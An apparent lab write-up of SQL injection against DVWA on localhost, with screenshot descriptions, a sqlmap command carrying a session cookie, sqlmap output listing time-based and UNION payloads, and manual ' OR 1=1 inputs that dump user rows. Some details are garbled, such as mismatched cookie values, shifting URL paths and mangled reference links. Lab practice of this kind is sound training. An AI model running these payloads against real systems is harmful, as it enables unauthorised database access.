

DVWA:

1. DVWA Security

The screenshot shows the DVWA Security interface. On the left, a sidebar lists various attack types: Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection, SQL Injection (Blind), Weak Session IDs, XSS (DOM), XSS (Reflected), XSS (Stored), CSP Bypass, JavaScript Attacks, Authorisation Bypass, Open HTTP Redirect, Cryptography, and API. The 'SQL Injection' option is highlighted. The main content area displays the 'DVWA Security' logo and a 'Security Level' section. It states: 'Security level is currently: low'. Below this, a numbered list explains the security levels: 1. Low - This security level is completely broken and has no security measures at all. It's used to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques. 2. Medium - This setting is mainly to give an example to the user of bad security practices, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploit development techniques. 3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad practices to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation as similar in the 'Low' or 'Medium' Flags (CTFs) competitions. 4. Impossible - This setting should be secure against all vulnerabilities. It is used to compare the vulnerable source code to the secure source code. Prior to DVWA v1.9, this level was known as 'high'. A dropdown menu shows 'Low' is selected, with a 'Submit' button next to it. Below the dropdown is a link to 'View Broken Access Control Logs'. At the bottom, there's a text input field with 'Security level set to low' and a 'Submit' button.

2. SQL Injection

The screenshot shows the DVWA SQL Injection interface. The sidebar on the left is identical to the previous screenshot, with 'SQL Injection' highlighted. The main content area shows a form with 'User ID:' and a 'Submit' button. Below the form, under 'More Information', is a list of links: https://en.wikipedia.org/wiki/SQL_Injection, <https://www.netwarker.com/blog/web-security/sql-injection-cheat-sheet/>, https://map.owasp.org/page/Community/Attacks/SQL_Injection, and <https://hobby-causes.com>. At the bottom of the page, the Firefox developer tools Network tab is open, showing a table of cookies. One cookie is selected: 'PHPSESSID' with value 'f18b5bb27ecc67b3998e790998085826'. The table includes columns for Name, Value, Domain, Path, Expires / Max-Age, Size, HttpOnly, Secure, SameSite, and Last Accessed.

3. Sqlmap

Command used – sqlmap

```
"http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
```

```
--cookie="PHPSESSID=f18b5bb27ecc67b3998e790998085826; security=low" \
```

```
--dbs
```

```

Session Actions Edit View Help
[kali㉿kali] ~
$ sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sql/?id=1&Submit=Submit" \
--cookie="PHPSESSID=f18b5b27ecc67b3998e790998085826; security=low" \
-- dbs
{ 1.9.12#stable }
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:05:53 /2025-12-31/
[21:05:53] [INFO] testing connection to the target URL
[21:05:53] [INFO] testing if the target URL content is stable
[21:05:53] [INFO] target URL content is stable
[21:05:53] [INFO] testing if GET parameter 'id' is dynamic
[21:05:53] [WARNING] GET parameter 'id' does not appear to be dynamic
[21:05:53] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[21:05:54] [INFO] testing for SQL injection on GET parameter 'id'
[21:05:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:05:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:05:54] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[21:05:54] [INFO] testing 'MySQL AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[21:05:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:05:54] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[21:05:54] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (NOT IN)'
[21:05:54] [INFO] testing 'Microsoft AND time-based blind - WHERE or HAVING clause (SLEEP)'
[21:05:54] [INFO] GET parameter 'id' appears to be 'MySQL > 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

[21:06:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:06:07] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:06:07] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:06:07] [INFO] target URL appears to have 2 columns in query
[21:06:07] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [Y/N]

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

[21:06:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:06:07] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:06:07] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:06:07] [INFO] target URL appears to have 2 columns in query
[21:06:07] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [Y/N]

sqlmap identified the following injection point(s) with a total of 64 HTTP(s) requests:
Parameter: id (GET)
  Type: time-based
  Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1' AND (SELECT 9636 FROM (SELECT(SLEEP(5)))VFJE) AND 'JQyw0Submit=Submit

Type: UNION query
  Title: Generic UNION query (NULL) - 2 columns
  Payload: id=1' UNION ALL SELECT CONCAT(0x7176627871,0x765896c62496d6b687749624c486c55794e4c646d4e686442446152436a58436956756750416c4e,0x716b787871),NULL-- -0Submit=Submit

[21:06:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.65
back-end DBMS: MySQL > 5.0.12 (MariaDB fork)
[21:06:10] [INFO] fetching database names
available databases [?]:
[*] information_schema
[*] information_schema
```

4. Sqli

- User Id - 1234 ' OR 1=1

The screenshot shows the DVWA SQL Injection page. The URL is `http://127.0.0.1/DVWA/vulnerabilities/sql/?id=1234'+OR+1=1&Submit=Submit#`. The page displays a table of results for various SQL injection queries:

ID	First name	Surname
ID: 1234' OR 1=1#	admin	admin
ID: 1234' OR 1=1#	Gordon	Brown
ID: 1234' OR 1=1#	Hack	Me
ID: 1234' OR 1=1#	Pablo	Picasso
ID: 1234' OR 1=1#	Bob	Smith

Vulnerability: SQL Injection

User ID: Submit

More Information

- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netwarker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://wapcapture.com/community/attacks/SQL_Injection
- <https://hobby-tables.com/>

- User Id - 12345' OR 1=1 LIMIT 1#

The screenshot shows a browser window with the URL `127.0.0.1/DVWA/vulnerabilities/sql/?id=12345'+OR+1%3D1+LIMIT+1%23&Submit=Submit#`. The DVWA logo is at the top. On the left is a sidebar with various attack categories. The 'SQL Injection' category is highlighted in green. The main content area is titled 'Vulnerability: SQL Injection'. It contains a form with a 'User ID:' input field containing the exploit `12345' OR 1=1 LIMIT 1#`, and a 'Submit' button. Below the form, the output shows the results of the exploit: `ID: 12345' OR 1=1 LIMIT 1#`, `First name: admin`, and `Surname: admin`. A 'More Information' section lists several links related to SQL injection.

User ID: Submit

ID: 12345' OR 1=1 LIMIT 1#
First name: admin
Surname: admin

More Information

- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netwarker.com/blueweb-security/sql-injection-cheat-sheet/>
- https://www.w3.org/community/attacks/SQL_Injection
- <https://hobby-tables.com/>